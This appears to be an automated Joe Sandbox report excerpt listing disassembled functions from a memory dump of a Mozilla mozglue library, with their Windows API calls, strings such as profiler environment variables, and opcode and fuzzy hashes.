Instruction Fuzzy Hash: 4521D271A00215DBDB01CF68CC40EAABBB9FF82318F284129E828DB341E735D952C7A1

Function 6C4FB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4FB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4FB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4FB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4FB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FB849

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 3d88a9018abce6c2f4e5bcdd19e64c97993a4542a7aff1d44cd56efcb8eb0d69
Instruction ID: 51364469c9c593a94f514251fb58737aa7cd26074fa951701332b9dc8d716dcb
Opcode Fuzzy Hash: 3d88a9018abce6c2f4e5bcdd19e64c97993a4542a7aff1d44cd56efcb8eb0d69
Instruction Fuzzy Hash: CD212BB0E002199FDF04DFA9C8859BEBBB4EF89314F148529E815A7741E731A985CBA1

Function 6C556E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C556E78

Part of subcall function 6C556A10: InitializeCriticalSection.KERNEL32(6C57F618), ref: 6C556A68
Part of subcall function 6C556A10: GetCurrentProcess.KERNEL32 ref: 6C556A7D
Part of subcall function 6C556A10: GetCurrentProcess.KERNEL32 ref: 6C556AA1
Part of subcall function 6C556A10: EnterCriticalSection.KERNEL32(6C57F618), ref: 6C556AAE
Part of subcall function 6C556A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C556AE1
Part of subcall function 6C556A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C556B15
Part of subcall function 6C556A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C556B65
Part of subcall function 6C556A10: LeaveCriticalSection.KERNEL32(6C57F618,?,?), ref: 6C556B83

MozFormatCodeAddress.MOZGLUE ref: 6C556EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C556EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C556EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C556EFF

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: c775bc501b2624508bae0061ef62e716cc77d6eae1a6b38e9e30d15be784533b
Instruction ID: 1178c23dd951748799cc14f9708024c4cb245fd24cb1bd5a5e9dab6f64d61335
Opcode Fuzzy Hash: c775bc501b2624508bae0061ef62e716cc77d6eae1a6b38e9e30d15be784533b
Instruction Fuzzy Hash: 122190B1A0435A9FDB00DF69DC85A9A77F5EF84308F444039E80997341EB759A988FA2

Function 6C530D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4F3DEF), ref: 6C530D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4F3DEF), ref: 6C530D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4F3DEF), ref: 6C530DAF

Strings

<jemalloc>, xrefs: 6C530D92, 6C530DB9
: (malloc) Error in VirtualFree(), xrefs: 6C530D97, 6C530DBE

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: b9687efc9847c66559fa98db48b3d963d367312b4e0414581208e4973a6c6067
Instruction ID: bf6a3b12c2d4f5b40ed4670e0f4e6e5c857efd64550772843b159ab69ca058c4
Opcode Fuzzy Hash: b9687efc9847c66559fa98db48b3d963d367312b4e0414581208e4973a6c6067
Instruction Fuzzy Hash: 00F0B4313803B462E62222660C0AB5A67DD67C2F24F245427F20CDB9C0EA60E8848AB9

Function 6C555850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C55586C
CloseHandle.KERNEL32 ref: 6C555878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C555898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5558C9
free.MOZGLUE(00000000), ref: 6C5558D3

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: b36ddd9daff43cceece84f432117e46f085b95777a23fc58200be231067d67b5
Instruction ID: 5ee83a3a8fc4f6aa6b12a93fc06bbe1f181020e3aeade5bf76b6939a3cb97301
Opcode Fuzzy Hash: b36ddd9daff43cceece84f432117e46f085b95777a23fc58200be231067d67b5
Instruction Fuzzy Hash: B60162B1704121ABDF02DF26DC086067BF8EB833297A64376E419D6611D73198A48FA9

Function 6C547620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5475C4,?), ref: 6C54762B

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5474D7,6C5515FC,?,?,?), ref: 6C547644
GetCurrentThreadId.KERNEL32 ref: 6C54765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5474D7,6C5515FC,?,?,?), ref: 6C547663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5474D7,6C5515FC,?,?,?), ref: 6C547677

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 3a339324771ff5d15d4e0e229af550c98cf99ecc954d9734d123111f9169ef9e
Instruction ID: 856d80de5d4be9678098937e024415cb3967c25b17db0e9c187c39bc424eebe6
Opcode Fuzzy Hash: 3a339324771ff5d15d4e0e229af550c98cf99ecc954d9734d123111f9169ef9e
Instruction Fuzzy Hash: ACF0AF71E10755ABE7019F21CC88676B778FFEA259F124316F90492601E7B1A5D08BE1

Function 6C551700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C551800

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

Part of subcall function 6C4F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C533EBD,6C533EBD,00000000), ref: 6C4F42A9

Strings

name, xrefs: 6C551939
{marker.name} - {marker.data.name}, xrefs: 6C5518C7
Details, xrefs: 6C551925

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 72f6e61bfcc52b8c500c2100e387d79dae6b029757149d16d0bc15656e187a46
Instruction ID: a75849ff238fcb0c7be72d8efebe26702353cf6189e31dd09ee36f7355beb7a5
Opcode Fuzzy Hash: 72f6e61bfcc52b8c500c2100e387d79dae6b029757149d16d0bc15656e187a46
Instruction Fuzzy Hash: E671D1B1A00306DFDB05DF28D854BAABBB1FF85304F454669D8154BB41DB70EAA8CBE1

Function 6C51D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

EnterCriticalSection.KERNEL32(6C57E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D4F2
LeaveCriticalSection.KERNEL32(6C57E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D50B

Part of subcall function 6C4FCFE0: EnterCriticalSection.KERNEL32(6C57E784), ref: 6C4FCFF6
Part of subcall function 6C4FCFE0: LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C4FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D52E
EnterCriticalSection.KERNEL32(6C57E7DC), ref: 6C51D690
LeaveCriticalSection.KERNEL32(6C57E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C52D1C5), ref: 6C51D751

Strings

MOZ_CRASH(), xrefs: 6C51D4BB

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a75823b996270aafcba42a72eeb4eb891e29aa50aec5501d9ceafba945623441
Instruction ID: e945af54ee23768e8401cd6fe1ece5c2b7c2858b3bc296f5ff57959286957cb6
Opcode Fuzzy Hash: a75823b996270aafcba42a72eeb4eb891e29aa50aec5501d9ceafba945623441
Instruction Fuzzy Hash: 40510271A087118FE729CF28C89875AB7E1EF89304F554A2ED599C7F85D770E880CBA1

Function 6C544630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C544721

Strings

profiler-paused, xrefs: 6C5446E4
-%llu, xrefs: 6C544733
., xrefs: 6C54476A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 863c46414b00bb57258df880d8d5d88c4529a5e1275c0a2e5cdb0e20628c4f92
Instruction ID: 93acdacbda109caecce70f69aef984714c0f4c2c4a754817db06c05f94ff1a2d
Opcode Fuzzy Hash: 863c46414b00bb57258df880d8d5d88c4529a5e1275c0a2e5cdb0e20628c4f92
Instruction Fuzzy Hash: 0D416571E047089BCB08DF79DC4115EBBF5EF85344F20CA2EE845ABB91EB3098458791

Function 6C569830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C56985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C56987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5698DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5698D9

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 82c40ce7f8ac8bae7d97574627ffb77eb9373ec4b22e8b3beaa40099495b5327
Instruction ID: 62cc2236b9dc64b381aada0d6693c565db94f5974a0967fec7fa0f05c12cf178
Opcode Fuzzy Hash: 82c40ce7f8ac8bae7d97574627ffb77eb9373ec4b22e8b3beaa40099495b5327
Instruction Fuzzy Hash: EF310871A00208AFDF14AF59DC449EF77E9EF85714F50442DEA0AABB81DB35AD048BE1

Function 6C5446E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C544721

Part of subcall function 6C4F4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C533EBD,00000017,?,00000000,?,6C533EBD,?,?,6C4F42D2), ref: 6C4F4444

Strings

profiler-paused, xrefs: 6C5446E4
-%llu, xrefs: 6C544733
., xrefs: 6C54476A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: d683079bd7f376400ea932290164f26756d86fb92d47ddebb014c5b6272481c3
Instruction ID: 4dc082f9521416dd9d7bc15f34c7d34bd163e179d8f913f4474c737a2b6f2553
Opcode Fuzzy Hash: d683079bd7f376400ea932290164f26756d86fb92d47ddebb014c5b6272481c3
Instruction Fuzzy Hash: 96314671F042188BDB08CF6CDC8169EBBE6DBC8314F15863EE8059BB81EB7498058B90

Function 6C54B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C533EBD,6C533EBD,00000000), ref: 6C4F42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C54B127), ref: 6C54B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C54B4E4

Strings

pid:, xrefs: 6C54B4DE

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 9d2ab3942f6262be86c77ca5e606d5addda1ea5dc3a8945af9ba9ee7d842e6f0
Instruction ID: 8d69d144c8ea38d86e8855b409cec03c5701288710bbadb497ed9dcc07c4b784
Opcode Fuzzy Hash: 9d2ab3942f6262be86c77ca5e606d5addda1ea5dc3a8945af9ba9ee7d842e6f0
Instruction Fuzzy Hash: 61314631A01A18CFDB00EFA9DC80AEEB7B6FF44318F544529D80167A41E731E989CBE1

Function 6C50BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C557A3F), ref: 6C50BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C557A3F), ref: 6C50BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C557A3F), ref: 6C50BF7E

Strings

Vl, xrefs: 6C50BF84

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Vl
API String ID: 4279176481-1016598709
Opcode ID: 25fbd8044de1ed01f03d4bbb9161064cdb6e1cae091e17fcea876a7795d6d963
Instruction ID: bf5dbb4241e8d9f39f115cbac892b132727b4fb218b7018e620e3c472e3b0ce0
Opcode Fuzzy Hash: 25fbd8044de1ed01f03d4bbb9161064cdb6e1cae091e17fcea876a7795d6d963
Instruction Fuzzy Hash: 4011C0792016048FC729CF0DDA99A66FBF8FF59314315885DE98A8BB61C771E800CB94

Function 6C53E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53E577
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53E584
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C53E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C53E826, 6C53E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C53E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C53E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C53E722, 6C53E750, 6C53E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C53E5A1, 6C53E5CC, 6C53E5FF, 6C53E62A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f9c885c2da34158fe7ac799f943fcbb9f68bdb0f28dedd06ed418735e03abb73
Instruction ID: 07adfccdb0c0b93fad025cc58b33d3037d3f6979c40de8fff36d527b3dad5ad8
Opcode Fuzzy Hash: f9c885c2da34158fe7ac799f943fcbb9f68bdb0f28dedd06ed418735e03abb73
Instruction Fuzzy Hash: E2118E31A04278DFCB11DF14CC48A5ABBF5FB89328F420619E94557650D770A895CBB9

Function 6C540C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C540CD5

Part of subcall function 6C52F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C540D40
free.MOZGLUE ref: 6C540DCB

Part of subcall function 6C515E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C515EDB
Part of subcall function 6C515E90: memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C515F27
Part of subcall function 6C515E90: LeaveCriticalSection.KERNEL32(?), ref: 6C515FB2

free.MOZGLUE ref: 6C540DDD
free.MOZGLUE ref: 6C540DF2

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4ef39e933e32906bf0312caa80f5db62a7337048f472d88dcec4befba66f6d06
Instruction ID: 0527eb3a273d3f9d8135976cb469f4e8f7a4a22079af3ade62f52f672ce4c282
Opcode Fuzzy Hash: 4ef39e933e32906bf0312caa80f5db62a7337048f472d88dcec4befba66f6d06
Instruction Fuzzy Hash: 62411A71908790CBD720CF29C84079AFBE5BFD9714F618A2EE8D887B50D7709849CB92

Function 6C530800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E7DC), ref: 6C530838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C53084C
EnterCriticalSection.KERNEL32(?), ref: 6C5308AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5308BD
LeaveCriticalSection.KERNEL32(6C57E7DC), ref: 6C5308D5

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 0a074a574e22ad3208f5c4e9e3ef4a91a358e564e0b4ee55ef74129f5c0c3693
Instruction ID: 11f3e8eaefa235eca8b75308cf5326d3378d2f4fb821888121440b5455d9558e
Opcode Fuzzy Hash: 0a074a574e22ad3208f5c4e9e3ef4a91a358e564e0b4ee55ef74129f5c0c3693
Instruction Fuzzy Hash: 4C21B031B013698BEF04DF65DC44BEEB3B9AF85708F500529D90DA7B40EB75A8458BE4

Function 6C54CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C53DA31,00100000,?,?,00000000,?), ref: 6C54CDA4

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

Part of subcall function 6C54D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C54CDBA,00100000,?,00000000,?,6C53DA31,00100000,?,?,00000000,?), ref: 6C54D158
Part of subcall function 6C54D130: InitializeConditionVariable.KERNEL32(00000098,?,6C54CDBA,00100000,?,00000000,?,6C53DA31,00100000,?,?,00000000,?), ref: 6C54D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C53DA31,00100000,?,?,00000000,?), ref: 6C54CDC4

